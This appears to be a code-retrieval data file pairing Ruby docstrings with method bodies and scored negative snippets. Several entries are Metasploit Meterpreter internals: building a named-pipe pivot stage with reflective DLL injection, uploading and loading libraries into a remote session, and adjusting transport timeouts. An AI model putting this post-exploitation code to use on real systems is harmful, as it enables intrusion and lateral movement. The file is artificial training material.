"def initialize\n log.info \"Main server: #{client[\"/apps/cocina/host\"]} - #{client[\"/apps/cocina/main_port\"]}\"\n super client[\"/apps/cocina/host\"], client[\"/apps/cocina/main_port\"]\n end",
"def initialize \n # Keep track of hooks and what object owns what\n @hooks = {}\n @cmds = {}\n @modules = {}\n\n # Prevent access to hooks when other things are\n # editing or using them.\n @hooks_mutex = Mutex.new\n end",
"def initialize\n register_script \"Provide on-protocol help for bot scripts and commands.\"\n\n register_command \"help\", :cmd_help, 0, 0, nil, \"Show help for the given command or a list of all commands. Parameters: [command]\"\n register_command \"script\", :cmd_script, 0, 0, nil, \"Show a description of the given script or a list of all scripts. Parameters: [script]\"\nend",
"def initialize(cmds = {})\n @commands = cmds\n end",
"def initialize\n super\n\n self.callbacks = ::ActiveSupport::HashWithIndifferentAccess.new\n self.callbacks_queue = []\n\n self.responses = ::ActiveSupport::HashWithIndifferentAccess.new\n self.responses_queue = []\n\n self.client = ::Syncano::Clients::Sync.instance\n self.received_data = ''\n end",
"def post_init\n @queue, @input, @timers = [], [], {}\n connect { start_session }\n send_next_command\n end",
"def initialize(shell)\n\t\tsuper\n\n\t\tself.extensions = []\n\t\tself.bgjobs = []\n\t\tself.bgjob_id = 0\n\tend"
] | [
"0.70615023",
"0.63104767",
"0.6239149",
"0.61578673",
"0.6103885",
"0.60709906",
"0.5956026",
"0.5944023",
"0.5914806",
"0.5905773",
"0.58586276",
"0.58424705",
"0.5817421",
"0.5811578",
"0.58040535",
"0.5771865",
"0.5771865",
"0.5771865",
"0.5769278",
"0.5753461",
"0.57387275",
"0.5737661",
"0.5731095",
"0.570086",
"0.56934816",
"0.56900984",
"0.56892097",
"0.5674548",
"0.56564057",
"0.564383"
] | 0.63120157 | 1 |
Core commands create a named pipe pivot | def create_named_pipe_pivot(opts)
request = Packet.create_request(COMMAND_ID_CORE_PIVOT_ADD)
request.add_tlv(TLV_TYPE_PIVOT_NAMED_PIPE_NAME, opts[:pipe_name])
c = Class.new(::Msf::Payload)
c.include(::Msf::Payload::Stager)
c.include(::Msf::Payload::TransportConfig)
# Include the appropriate reflective dll injection module for the target process architecture...
if opts[:arch] == ARCH_X86
c.include(::Msf::Payload::Windows::MeterpreterLoader)
elsif opts[:arch] == ARCH_X64
c.include(::Msf::Payload::Windows::MeterpreterLoader_x64)
end
stage_opts = {
force_write_handle: true,
datastore: {
'PIPEHOST' => opts[:pipe_host],
'PIPENAME' => opts[:pipe_name]
}
}
stager = c.new()
stage_opts[:transport_config] = [stager.transport_config_reverse_named_pipe(stage_opts)]
stage = stager.stage_payload(stage_opts)
request.add_tlv(TLV_TYPE_PIVOT_STAGE_DATA, stage)
self.client.send_request(request)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def pipe\n @pipe ||= case true\n when System.exists?(pipes[:project]) then pipes[:project]\n when System.exists?(pipes[:local]) then pipes[:local]\n when System.exists?(pipes[:global]) then pipes[:global]\n else\n puts HELP_MASK % pipes.values\n raise NamedPipeNotFoundException\n end\n end",
"def create_pipeline(options = {})\n options[:accept] = 'application/vnd.go.cd.v1+json'\n post 'admin/pipelines', options\n end",
"def pivot(domain, name)\n @domain = domain\n @name = name \n end",
"def pivot(domain: ,name: )\n @domain = domain\n @name = name\nend",
"def pipeline(name)\n return PipelineT.new(name)\n end",
"def human_name\n \"reverse named pipe\"\n end",
"def create_pipe \n params = [\n 'P', # pointer to read handle\n 'P', # pointer to write handle\n 'P', # pointer to security attributes\n 'L'] # pipe size\n createPipe = Win32API.new(\"kernel32\", \"CreatePipe\", params, 'I')\n\n read_handle, write_handle = [0].pack('I'), [0].pack('I')\n sec_attrs = [SECURITY_ATTRIBUTES_SIZE, 0, 1].pack('III')\n\n raise_last_win_32_error if createPipe.Call(read_handle,\n write_handle, sec_attrs, 0).zero?\n\n [read_handle.unpack('I')[0], write_handle.unpack('I')[0]]\n end",
"def pivot(new_domain, new_name)\n @domain = new_domain\n @name = new_name \nend",
"def initialize_pipetree!\n heritage.record :initialize_pipetree!\n\n self[\"pipetree\"] = Railway.new\n\n strut = ->(last, input, options) { [last, Instantiate.(input, options)] } # first step in pipe.\n self[\"pipetree\"].add(Railway::Right, strut, name: \"operation.new\") # DISCUSS: using pipe API directly here. clever?\n end",
"def create_pipeline name, input_bucket, output_bucket, role\n begin\n @elastictranscoder.create_pipeline(\n name: name,\n input_bucket: input_bucket,\n output_bucket: output_bucket,\n role: role\n )\n rescue\n #Raise informative exception\n end\n end",
"def pivot(domain, name)\n @domain = domain\n @name = name\n end",
"def Pipeable(*args)\n Pipeable.for(*args, caller: self)\n end",
"def pipe(*cmds)\n s = cmds.map { |x| x.join(\" \") }\n s = s.join(\" | \")\n STDERR.puts \"+ #{s}\"\n Open3.pipeline(*cmds).each do |status|\n unless status.success?\n error \"Piped command failed\"\n exit 1\n end\n end\n end",
"def pivotoptions\n \n end",
"def parenthesize_current_pipeline\n @pipe[-1].prepend(\"( \") << \" )\"\n end",
"def create_pipeline(**args)\n params = parameters(args) do\n optional_params :name, :deal_probability, :order_nr, :active\n end\n request(:post, 'pipelines', params)\n end",
"def pipeline\n parts = []\n @commands.each_with_index do |command, index|\n parts << %({ #{command} 2>&4 ; echo \"#{index}|$?:\" >&3 ; })\n end\n %({ #{parts.join(\" | \")} } 3>&1 1>&2 4>&2)\n end",
"def show_pipet_mmix(primer_mix_name:, volume:, collection:, layout_group:)\n show do\n title \"Pipet #{primer_mix_name} master mix into plate\"\n\n note \"Pipet #{volume} #{MICROLITERS} of #{primer_mix_name}\" \\\n \" master mix into the plate #{collection}\"\n table highlight_collection_rc(collection, layout_group, check: false)\n end\n end",
"def pivot(new_domain, new_name)\n self.domain = new_domain\n self.name = new_name\n end",
"def to_pipeline\n p = Pipeline.new([ self ])\n p.stdin!(self.stdin)\n p.stdout!(self.stdout)\n p.stderr!(self.stderr)\n end",
"def new_pipe\n IO.popen(@cmdline, 'r+')\n end",
"def initialize(info={})\n super\n\n register_options([\n OptString.new('PIPENAME', [true, 'Name of the pipe to listen on', 'msf-pipe']),\n OptString.new('PIPEHOST', [true, 'Host of the pipe to connect to', '.'])\n ], Msf::Handler::ReverseNamedPipe)\n end",
"def pipe(&block)\n cmds = Commands.new(mode: :pipe)\n cmds.instance_eval(&block)\n self.!(cmds.to_a)\n end",
"def pipe(other)\n Pipeline.new(@pipes + [other])\n end",
"def smb_create(pipe)\n\t\tself.simple.create_pipe(pipe)\n\tend",
"def print_pipe(pipe)\n\tfor i in 1..pipe\n\t\tprint \"| \"\n\tend\nend",
"def print_pipe(pipe)\n\tfor i in 1..pipe\n\t\tprint \"| \"\n\tend\nend",
"def create_pipeline(pipeline_name, pipeline_path, repository, system_config)\n cmdline = Schott::AzureCLI::Commandlines.create_pipeline(pipeline_name, pipeline_path, repository)\n cmd = run_command(\"Create #{pipeline_name}\", cmdline, system_config)\n return cmd.success?\n end",
"def smb_create(pipe)\n self.simple.create_pipe(pipe)\n end",
"def cli_execute_make_transform_scaffold\n File.open(File.dirname(__FILE__)+'/data/transform_template.rb.tmpl','r') do |f|\n body = f.readlines.join('')\n body.gsub!('%%timestamp%%',Time.now.strftime(\"%a, %d %b %Y\"));\n body.gsub!('%%app name%%',cli_program_name);\n STDOUT.syswrite body\n end\n end"
] | [
"0.5866526",
"0.5803264",
"0.5790853",
"0.57685846",
"0.5753683",
"0.57192355",
"0.5483181",
"0.5468972",
"0.54675794",
"0.5463583",
"0.5448848",
"0.54214656",
"0.53931195",
"0.5389887",
"0.5302079",
"0.52834606",
"0.52408546",
"0.5240817",
"0.5215224",
"0.51675284",
"0.5143531",
"0.51064116",
"0.5094872",
"0.50584376",
"0.5003981",
"0.4991756",
"0.4991756",
"0.49569708",
"0.4934706",
"0.4901657"
] | 0.77077013 | 0 |
Get a list of loaded commands for the given extension. | def get_loaded_extension_commands(extension_name)
request = Packet.create_request(COMMAND_ID_CORE_ENUMEXTCMD)
start = Rex::Post::Meterpreter::ExtensionMapper.get_extension_id(extension_name)
request.add_tlv(TLV_TYPE_UINT, start)
request.add_tlv(TLV_TYPE_LENGTH, COMMAND_ID_RANGE)
begin
response = self.client.send_packet_wait_response(request, self.client.response_timeout)
rescue
# In the case where orphaned shells call back with OLD copies of the meterpreter
# binaries, we end up with a case where this fails. So here we just return the
# empty list of supported commands.
return []
end
# No response?
if response.nil?
raise RuntimeError, 'No response was received to the core_enumextcmd request.', caller
elsif response.result != 0
# This case happens when the target doesn't support the core_enumextcmd message.
# If this is the case, then we just want to ignore the error and return an empty
# list. This will force the caller to load any required modules.
return []
end
commands = []
response.each(TLV_TYPE_UINT) { |c|
commands << c.value
}
commands
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def load_commands\n @commands = Debugger::Command.available_commands.map do |cmd_class|\n cmd_class.new\n end\n @commands.sort!\n end",
"def all_extensions\n r = []\n manager.Get.each do |ext|\n r << ext\n end\n r\n end",
"def commands\n load_commands unless @commands\n @commands\n end",
"def commands\n unless defined? @commands\n @commands = []\n end\n return @commands\n end",
"def load_commands\n glob = File.join(Imp.root, '**', '*.rb')\n Dir[glob].sort.each { |f| load f }\n end",
"def load_commands\n Dir[\"#{Scarlet.root}/commands/**/*.rb\"].each {|path| load path and Command.parse_help path}\n end",
"def list\n @@extensions\n end",
"def commands\n @commands.keys.sort\n end",
"def commands\n @commands ||= []\n end",
"def commands\n @commands ||= [].tap do |c|\n commands_list.each do |command|\n if command.instance_of? String\n c << standard_commands[command].new\n else\n ret_command = send(command)\n c << (ret_command.instance_of?(Hash) ? ret_command.values : ret_command)\n end\n end\n end.flatten\n end",
"def dylib_load_commands\n load_commands.select { |lc| DYLIB_LOAD_COMMANDS.include?(lc.type) }\n end",
"def load_commands\n subcommand_files.each { |subcommand| Kernel.load subcommand }\n true\n end",
"def load_commands\n subcommand_files.each { |subcommand| Kernel.load subcommand }\n true\n end",
"def load_commands\n subcommand_files.each { |subcommand| Kernel.load subcommand }\n true\n end",
"def extensions\n @extensions ||= []\n end",
"def extensions\n @extensions ||= []\n end",
"def extensions\r\n e = []\r\n @extensions.each_key do |k|\r\n e.push k\r\n end\r\n return e\r\n end",
"def extensions\n []\n end",
"def extensions\n []\n end",
"def supported_commands\n commands.keys\n end",
"def extensions\n @extensions ||= []\n end",
"def get_commands\n return nil\n end",
"def commands\n self.class.command_classes\n end",
"def extensions\n return @extensions\n end",
"def extensions\n return @extensions\n end",
"def extensions\n return @extensions\n end",
"def find_all_commands (sCOMMAND)\n array = Array.new()\n @commands.each do |command|\n if (command.commandName == sCOMMAND)\n array.push(command)\n end\n end\n return array\n end",
"def command_list\n collect_do - subcommand_list\n end",
"def commands\n return [] unless options[\"commands\"]\n options[\"commands\"].map do |options|\n options['parents'] = parents + [name]\n Command.new options\n end\n end",
"def get_extensions\n read_extensions 'network', @options.model_extensions_dir\n end"
] | [
"0.720783",
"0.697561",
"0.6920565",
"0.68109834",
"0.6795855",
"0.67545563",
"0.67103505",
"0.65463257",
"0.65061176",
"0.63673764",
"0.6238509",
"0.62075585",
"0.62075585",
"0.62075585",
"0.61946",
"0.61946",
"0.6189999",
"0.6182536",
"0.6182536",
"0.6179919",
"0.61708444",
"0.6149456",
"0.61478925",
"0.6119236",
"0.6119236",
"0.6119236",
"0.6083601",
"0.6051539",
"0.60311514",
"0.5978323"
] | 0.8047931 | 0 |
Set associated transport timeouts for the currently active transport. | def set_transport_timeouts(opts={})
request = Packet.create_request(COMMAND_ID_CORE_TRANSPORT_SET_TIMEOUTS)
if opts[:session_exp]
request.add_tlv(TLV_TYPE_TRANS_SESSION_EXP, opts[:session_exp])
end
if opts[:comm_timeout]
request.add_tlv(TLV_TYPE_TRANS_COMM_TIMEOUT, opts[:comm_timeout])
end
if opts[:retry_total]
request.add_tlv(TLV_TYPE_TRANS_RETRY_TOTAL, opts[:retry_total])
end
if opts[:retry_wait]
request.add_tlv(TLV_TYPE_TRANS_RETRY_WAIT, opts[:retry_wait])
end
response = client.send_request(request)
{
:session_exp => response.get_tlv_value(TLV_TYPE_TRANS_SESSION_EXP),
:comm_timeout => response.get_tlv_value(TLV_TYPE_TRANS_COMM_TIMEOUT),
:retry_total => response.get_tlv_value(TLV_TYPE_TRANS_RETRY_TOTAL),
:retry_wait => response.get_tlv_value(TLV_TYPE_TRANS_RETRY_WAIT)
}
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def timeout_seconds\n transport_options.timeout_seconds\n end",
"def set_timeout(opts)\n opts = check_params(opts,[:timeouts])\n super(opts)\n end",
"def set_timeout(opts)\n opts = check_params(opts,[:timeouts])\n super(opts)\n end",
"def timeout=(value)\n @connect_timeout, @send_timeout, @receive_timeout = value, value, value\n end",
"def set_tcp_timeout(opts)\n opts = check_params(opts,[:timeouts])\n super(opts)\n end",
"def timeouts_set; end",
"def timeouts_set=(_arg0); end",
"def timeout=(value)\n @transfer[:timeout] = value\n end",
"def set_udp_timeout(opts)\n opts = check_params(opts,[:timeouts])\n super(opts)\n end",
"def timeout=(timeout)\n @timeout = timeout\n end",
"def set_ip_timeout(opts)\n opts = check_params(opts,[:timeouts])\n super(opts)\n end",
"def override_client_config_timeouts config\n config.timeout = timeout\n rpc_names = config.rpcs.methods - Object.methods\n rpc_names.each do |rpc_name|\n rpc = config.rpcs.send rpc_name\n rpc.timeout = timeout if rpc.respond_to? :timeout=\n end\n end",
"def timeout=(value)\n @timeout = value\n end",
"def configure_timeout(options, env)\n req = request_options(env)\n options[:inactivity_timeout] = request_timeout(:read, req)\n options[:connect_timeout] = request_timeout(:open, req)\n end",
"def queue_respond_timeout(ttr=nil)\n if ttr\n @queue_respond_timeout = ttr\n else # accessor\n @queue_respond_timeout\n end\n end",
"def connect_timeout=(new_timeout)\n if new_timeout && new_timeout.to_f < 0\n raise ArgumentError, \"Timeout must be a positive number\"\n end\n\n @connect_timeout = new_timeout.to_f\n end",
"def set_handshake_timeout(opts)\n opts = check_params(opts,[:timeouts])\n super(opts)\n end",
"def set_global_timeout(opts = {})\n cmd = command_builder('tacacs-server timeout', opts)\n configure cmd\n end",
"def timeout=(new_timeout)\n if new_timeout && new_timeout.to_f < 0\n raise ArgumentError, \"Timeout must be a positive number\"\n end\n @timeout = new_timeout.to_f\n end",
"def timeout=(timeout)\n @timeout = timeout.to_f/1000 * 60\n end",
"def connect_timeout=(val)\n @j_del.setConnectTimeout(val)\n self\n end",
"def settransactiontimeout(timeout)\r\n setvalue(@@TRANSACTION_TIMEOUT, timeout)\r\n end",
"def timeout seconds=nil\n if block_given?\n before = @telnet_options[:timeout]\n self.timeout = seconds\n begin\n yield\n ensure\n self.timeout = before\n end\n else\n if seconds\n warn \"Warning: Use EM::P::SimpleTelnet#timeout= to set the timeout.\"\n end\n @telnet_options[:timeout]\n end\n end",
"def timeout=(timeout)\n @timeout = timeout\n @socket_timeout = nil\n\n if @timeout.to_f > 0\n secs = @timeout.floor\n usecs = (@timeout - secs).floor * 1_000_000\n @socket_timeout = [secs, usecs].pack(\"l_2\")\n end\n end",
"def set_Timeout(value)\n set_input(\"Timeout\", value)\n end",
"def set_Timeout(value)\n set_input(\"Timeout\", value)\n end",
"def set_Timeout(value)\n set_input(\"Timeout\", value)\n end",
"def set_Timeout(value)\n set_input(\"Timeout\", value)\n end",
"def set_Timeout(value)\n set_input(\"Timeout\", value)\n end",
"def set_Timeout(value)\n set_input(\"Timeout\", value)\n end"
] | [
"0.6373928",
"0.63639086",
"0.63639086",
"0.63594866",
"0.62544084",
"0.62338036",
"0.6186109",
"0.61295956",
"0.6033906",
"0.59466815",
"0.59001976",
"0.58906406",
"0.58663553",
"0.5806353",
"0.57635057",
"0.5756514",
"0.57232136",
"0.5698027",
"0.5671731",
"0.5662847",
"0.5648447",
"0.56074506",
"0.55428386",
"0.55233395",
"0.5504931",
"0.55033433",
"0.55033433",
"0.55033433",
"0.55033433",
"0.55033433"
] | 0.7366192 | 0 |
Loads a library on the remote meterpreter instance. This method supports loading both extension and nonextension libraries and also supports loading libraries from memory or disk depending on the flags that are specified Supported flags: LibraryFilePath The path to the library that is to be loaded LibraryFileImage Binary object containing the library to be loaded (can be used instead of LibraryFilePath) TargetFilePath The target library path when uploading UploadLibrary Indicates whether or not the library should be uploaded SaveToDisk Indicates whether or not the library should be saved to disk on the remote machine Extension Indicates whether or not the library is a meterpreter extension | def load_library(opts)
library_path = opts['LibraryFilePath']
library_image = opts['LibraryFileImage']
target_path = opts['TargetFilePath']
load_flags = LOAD_LIBRARY_FLAG_LOCAL
# No library path, no cookie.
if library_path.nil? && library_image.nil?
raise ArgumentError, 'No library file path or image was supplied', caller
end
# Set up the proper loading flags
if opts['UploadLibrary']
load_flags &= ~LOAD_LIBRARY_FLAG_LOCAL
end
if opts['SaveToDisk']
load_flags |= LOAD_LIBRARY_FLAG_ON_DISK
end
if opts['Extension']
load_flags |= LOAD_LIBRARY_FLAG_EXTENSION
end
# Create a request packet
request = Packet.create_request(COMMAND_ID_CORE_LOADLIB)
# If we must upload the library, do so now
if (load_flags & LOAD_LIBRARY_FLAG_LOCAL) != LOAD_LIBRARY_FLAG_LOCAL
if library_image.nil?
# Caller did not provide the image, load it from the path
library_image = ''
::File.open(library_path, 'rb') { |f|
library_image = f.read
}
end
if library_image
request.add_tlv(TLV_TYPE_DATA, library_image, false, client.capabilities[:zlib])
else
raise RuntimeError, "Failed to serialize library #{library_path}.", caller
end
# If it's an extension we're dealing with, rename the library
# path of the local and target so that it gets loaded with a random
# name
if opts['Extension']
if client.binary_suffix and client.binary_suffix.size > 1
/(.*)\.(.*)/.match(library_path)
suffix = $2
elsif client.binary_suffix.size == 1
suffix = client.binary_suffix[0]
else
suffix = client.binary_suffix
end
library_path = "ext#{rand(1000000)}.#{suffix}"
target_path = "/tmp/#{library_path}"
end
end
# Add the base TLVs
request.add_tlv(TLV_TYPE_LIBRARY_PATH, library_path)
request.add_tlv(TLV_TYPE_FLAGS, load_flags)
if !target_path.nil?
request.add_tlv(TLV_TYPE_TARGET_PATH, target_path)
end
# Transmit the request and wait the default timeout seconds for a response
response = self.client.send_packet_wait_response(request, self.client.response_timeout)
# No response?
if response.nil?
raise RuntimeError, 'No response was received to the core_loadlib request.', caller
elsif response.result != 0
raise RuntimeError, "The core_loadlib request failed with result: #{response.result}.", caller
end
commands = []
response.each(TLV_TYPE_UINT) { |c|
commands << c.value
}
commands
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def load_library\n name = File.basename @load_path, LIBSUFFIX\n\n NativeMethod.load_extension(@load_path, name)\n end",
"def load_library\n raise NotImplementedError, \"loading extension libraries is not implemented\"\n end",
"def load_libs; end",
"def load_library\n\t\t#wget some url\n\tend",
"def library\n @library ||= if options[:library]\n Library.new options[:library]\n else\n Library.default\n end\n end",
"def ld(lib)\n load lib.to_s + '.rb'\n end",
"def load_library\n mkl_dirs = ['/opt/intel/lib', '/opt/intel/lib64', '/opt/intel/mkl/lib', '/opt/intel/mkl/lib64']\n openblas_dirs = ['/opt/OpenBLAS/lib', '/opt/OpenBLAS/lib64', '/opt/openblas/lib', '/opt/openblas/lib64',\n '/usr/local/opt/openblas/lib']\n atlas_dirs = ['/opt/atlas/lib', '/opt/atlas/lib64',\n '/usr/lib/atlas', '/usr/lib64/atlas', '/usr/local/opt/atlas/lib']\n lapacke_dirs = ['/opt/lapack/lib', '/opt/lapack/lib64', '/opt/local/lib/lapack',\n '/usr/local/opt/lapack/lib']\n opt_dirs = ['/opt/local/lib', '/opt/local/lib64', '/opt/lib', '/opt/lib64']\n base_dirs = ['/usr/local/lib', '/usr/local/lib64', '/usr/lib', '/usr/lib64']\n base_dirs.concat(Dir[\"/usr/lib/#{RbConfig::CONFIG['host_cpu']}-*\"])\n base_dirs.unshift(*ENV['LD_LIBRARY_PATH'].split(':')) unless ENV['LD_LIBRARY_PATH'].nil?\n\n select_dirs(base_dirs)\n select_dirs(opt_dirs)\n select_dirs(lapacke_dirs)\n select_dirs(atlas_dirs)\n select_dirs(mkl_dirs)\n\n mkl_libs = find_mkl_libs([*base_dirs, *opt_dirs, *mkl_dirs])\n openblas_libs = find_openblas_libs([*base_dirs, *opt_dirs, *openblas_dirs])\n atlas_libs = find_atlas_libs([*base_dirs, *opt_dirs, *atlas_dirs, *lapacke_dirs])\n lapack_libs = find_lapack_libs([*base_dirs, *opt_dirs, *lapacke_dirs])\n\n @@libs = nil\n if !mkl_libs.value?(nil)\n open_mkl_libs(mkl_libs)\n @@libs = mkl_libs.values\n 'mkl'\n elsif !openblas_libs.value?(nil)\n open_openblas_libs(openblas_libs)\n @@libs = openblas_libs.values.uniq\n 'openblas'\n elsif !atlas_libs.value?(nil)\n open_atlas_libs(atlas_libs)\n @@libs = atlas_libs.values.uniq\n 'atlas'\n elsif !lapack_libs.value?(nil)\n open_lapack_libs(lapack_libs)\n @@libs = lapack_libs.values.uniq\n 'lapack'\n else\n raise 'cannot find MKL/OpenBLAS/ATLAS/BLAS-LAPACK library'\n end\n end",
"def load_java_library(library_name)\n library_name = library_name.to_sym\n return true if @loaded_libraries[library_name]\n if Processing.online?\n return @loaded_libraries[library_name] = !!(JRUBY_APPLET.get_parameter(\"archive\").match(%r(#{library_name}))) \n end\n path = get_library_directory_path(library_name, \"jar\")\n jars = get_library_paths(library_name, \"jar\")\n return false if jars.empty?\n jars.each {|jar| require jar }\n\n platform_specific_library_paths = get_platform_specific_library_paths(path)\n platform_specific_library_paths = platform_specific_library_paths.select do |path|\n test(?d, path) && !Dir.glob(File.join(path, \"*.{so,dll,jnilib}\")).empty?\n end\n\n if !platform_specific_library_paths.empty?\n platform_specific_library_paths << java.lang.System.getProperty(\"java.library.path\")\n new_library_path = platform_specific_library_paths.join(java.io.File.pathSeparator)\n\n java.lang.System.setProperty(\"java.library.path\", new_library_path)\n\n field = java.lang.Class.for_name(\"java.lang.ClassLoader\").get_declared_field(\"sys_paths\")\n if field\n field.accessible = true\n field.set(java.lang.Class.for_name(\"java.lang.System\").get_class_loader, nil)\n end\n end\n return @loaded_libraries[library_name] = true\n end",
"def library\n @library ||= Boson.library(@lib)\n end",
"def dlopen library\n begin\n Fiddle::Handle.new(library)\n rescue DLError => error\n case RUBY_PLATFORM\n when /linux/\n case error.message\n when /\\A(\\/.+?): (?:invalid ELF header|file too short)/\n # This may be a linker script:\n # https://sourceware.org/binutils/docs/ld.html#Scripts\n path = $1\n else\n raise\n end\n else\n raise\n end\n\n File.open(path) do |input|\n input.each_line do |line|\n case line\n when /\\A\\s*(?:INPUT|GROUP)\\s*\\(\\s*([^\\s,\\)]+)/\n # TODO: Should we support multiple files?\n return dlopen($1)\n end\n end\n end\n\n # Not found\n raise\n end\n end",
"def load(pathname, options={})\n options = {:wrap => options} unless Hash === options\n options = options.rekey\n\n from, path = File.split_root(pathname)\n\n library = instance(from)\n\n if library\n success = library.load(pathname, options)\n else\n stash_path = $LOAD_PATH\n #$LOAD_STACK << self\n $LOAD_PATH.replace(LOAD_PATH)\n begin\n success = load_without_realms(pathname, options[:wrap])\n ensure\n $LOAD_PATH.replace(stash_path)\n #$LOAD_STACK.pop\n end\n end\n\n success\n end",
"def load_library initial=false\n loaded = false\n $load_library_list.each do |entry|\n next if not initial and entry[1]\n if (File.stat(\"lib/\" + entry[0]).mtime.to_i rescue 0) > $load_time.to_i\n Kernel::load(\"lib/\" + entry[0])\n log_string \"Loading #{entry[0]}\"\n loaded = true\n end\n end\n if loaded\n $load_time = Time.now\n end\nend",
"def library=(value)\n @library = value\n end",
"def add_library(lib, options = {}, &block)\n lib = lib.to_s\n\n if constant = options[:autoload]\n lib_path = File.split( lib ); lib_path.delete('.')\n gem_name = lib_path[0] # assume that first dir in load dir is the gem name\n if constant.is_a?(Array)\n constant.each{ |single_constant|\n @libraries[:autoload] << [single_constant, lib, gem_name]\n }\n else\n @libraries[:autoload] << [constant, lib, gem_name]\n end\n elsif options[:after_rc]\n @libraries[:after_rc] << lib\n elsif which = options[:thread]\n @libraries[:thread][which] ||= []\n @libraries[:thread][which] << lib\n elsif options[:late]\n @libraries[:late] << lib\n elsif which = options[:late_thread]\n @libraries[:late_thread][which] ||= []\n @libraries[:late_thread][which] << lib\n else\n @libraries[:start] << lib\n end\n\n add_library_callback(lib, &block) if block_given?\n end",
"def add_library(lib, options = {}, &block)\n lib = lib.to_s\n\n if constant = options[:autoload]\n lib_path = File.split( lib ); lib_path.delete('.')\n gem_name = lib_path[0] # assume that first dir in load dir is the gem name\n if constant.is_a?(Array)\n constant.each{ |single_constant|\n @libraries[:autoload] << [single_constant, lib, gem_name]\n }\n else\n @libraries[:autoload] << [constant, lib, gem_name]\n end\n elsif options[:after_rc]\n @libraries[:after_rc] << lib\n elsif which = options[:thread]\n @libraries[:thread][which] ||= []\n @libraries[:thread][which] << lib\n elsif options[:late]\n @libraries[:late] << lib\n elsif which = options[:late_thread]\n @libraries[:late_thread][which] ||= []\n @libraries[:late_thread][which] << lib\n else\n @libraries[:start] << lib\n end\n\n add_library_callback(lib, &block) if block_given?\n end",
"def load_libraries(*args)\n args.each do |lib|\n loaded = load_ruby_library(lib) || load_java_library(lib)\n raise LoadError.new \"no such file to load -- #{lib}\" if !loaded\n end\n end",
"def load_ruby_library(library_name)\n library_name = library_name.to_sym\n return true if @loaded_libraries[library_name]\n if Processing.online?\n begin\n return @loaded_libraries[library_name] = (require \"library/#{library_name}/#{library_name}\")\n rescue LoadError => e\n return false\n end\n else\n path = get_library_paths(library_name, \"rb\").first\n return false unless path\n return @loaded_libraries[library_name] = (require path)\n end\n end",
"def link_libraries\n if RbConfig::CONFIG[\"THREAD_MODEL\"] == \"pthread\"\n # Link gem extension against pthread library\n have_library \"pthread\"\n have_required_function \"pthread\", \"pthread_create\"\n end\n\n # Links gem extension against the `dl` library. This is needed when Ruby is\n # not linked against `dl` itself, so link it on the gem extension.\n have_library \"dl\"\n # Check if functions are available now from the linked library\n %w[dlopen dlclose dlsym].each do |func|\n have_required_function \"dl\", func\n end\nend",
"def get_load_library(host, port)\n %Q^\n void ExecutePayload(VOID)\n {\n FuncLoadLibraryA LoadALibrary;\n FuncWSASocketA WSASock;\n FuncWSACleanup WSACleanup;\n FuncConnect ConnectSock;\n UINT proc_term_status = ExitProc();\n SOCKET conn_socket = INVALID_SOCKET;\n FuncExitProcess ExitProcess = (FuncExitProcess) GetProcAddressWithHash(#{get_hash('kernel32.dll', 'ExitProcess')}); // hash('kernel32.dll', 'ExitProcess') -> 0x56a2b5f0\n FuncCloseHandle CloseHandle = (FuncCloseHandle) GetProcAddressWithHash(#{get_hash('kernel32.dll', 'CloseHandle')}); // hash('kernel32.dll', 'CloseHandle') -> 0x528796c6\n\n char ip[] = { #{host} };\n char port[] = { #{port} };\n char ws2[] = { 'w', 's', '2', '_', '3', '2', '.', 'd', 'l', 'l', 0 };\n\n LoadALibrary = (FuncLoadLibraryA) GetProcAddressWithHash(#{get_hash('kernel32.dll', 'LoadLibraryA')}); // hash('kernel32.dll', 'LoadLibrary') -> 0x0726774C\n LoadALibrary((LPTSTR) ws2);\n ^\n end",
"def library_from(file_or_url)\n Arduino::Library::Model.from(file_or_url)\n end",
"def load_library(name)\r\n name = name.to_utf16\r\n r = CALLS[\"kernel32!LoadLibraryW:P=L\"].call(name)\r\n raise WinX.new(:load_library) if r == 0\r\n return r\r\n end",
"def lib\n @obj['lib']\n end",
"def loadLowDLL()\n # System\n @@lowDLL.import(\"System_AttachChannelGroupToPort\", \"lllpl\")\n @@lowDLL.import(\"System_AttachFileSystem\", \"lllll\")\n @@lowDLL.import(\"System_Close\", \"l\")\n @@lowDLL.import(\"System_Create\", \"p\")\n @@lowDLL.import(\"System_CreateChannelGroup\", \"llp\")\n @@lowDLL.import(\"System_CreateDSP\", \"llp\")\n @@lowDLL.import(\"System_CreateDSPByPlugin\", \"llp\")\n @@lowDLL.import(\"System_CreateDSPByType\", \"llp\")\n @@lowDLL.import(\"System_CreateGeometry\", \"lllp\")\n @@lowDLL.import(\"System_CreateReverb3D\", \"lp\")\n @@lowDLL.import(\"System_CreateSound\", \"llllp\")\n @@lowDLL.import(\"System_CreateSoundGroup\", \"llp\")\n @@lowDLL.import(\"System_CreateStream\", \"llllp\")\n @@lowDLL.import(\"System_DetachChannelGroupFromPort\", \"ll\")\n @@lowDLL.import(\"System_Get3DListenerAttributes\", \"llllll\")\n @@lowDLL.import(\"System_Get3DNumListeners\", \"ll\")\n @@lowDLL.import(\"System_Get3DSettings\", \"llll\")\n @@lowDLL.import(\"System_GetAdvancedSettings\", \"ll\")\n @@lowDLL.import(\"System_GetCPUUsage\", \"lllll\")\n @@lowDLL.import(\"System_GetChannel\", \"llp\")\n @@lowDLL.import(\"System_GetChannelsPlaying\", \"lll\")\n @@lowDLL.import(\"System_GetDSPBufferSize\", \"lll\")\n @@lowDLL.import(\"System_GetDSPInfoByPlugin\", \"llp\")\n @@lowDLL.import(\"System_GetDefaultMixMatrix\", \"lllll\")\n @@lowDLL.import(\"System_GetDriver\", \"ll\")\n @@lowDLL.import(\"System_GetDriverInfo\", \"llllllll\")\n @@lowDLL.import(\"System_GetFileUsage\", \"llll\")\n @@lowDLL.import(\"System_GetGeometryOcclusion\", \"lllll\")\n @@lowDLL.import(\"System_GetGeometrySettings\", \"ll\")\n @@lowDLL.import(\"System_GetMasterChannelGroup\", \"lp\")\n @@lowDLL.import(\"System_GetMasterSoundGroup\", \"lp\")\n @@lowDLL.import(\"System_GetNestedPlugin\", \"llll\")\n @@lowDLL.import(\"System_GetNetworkProxy\", \"lll\")\n 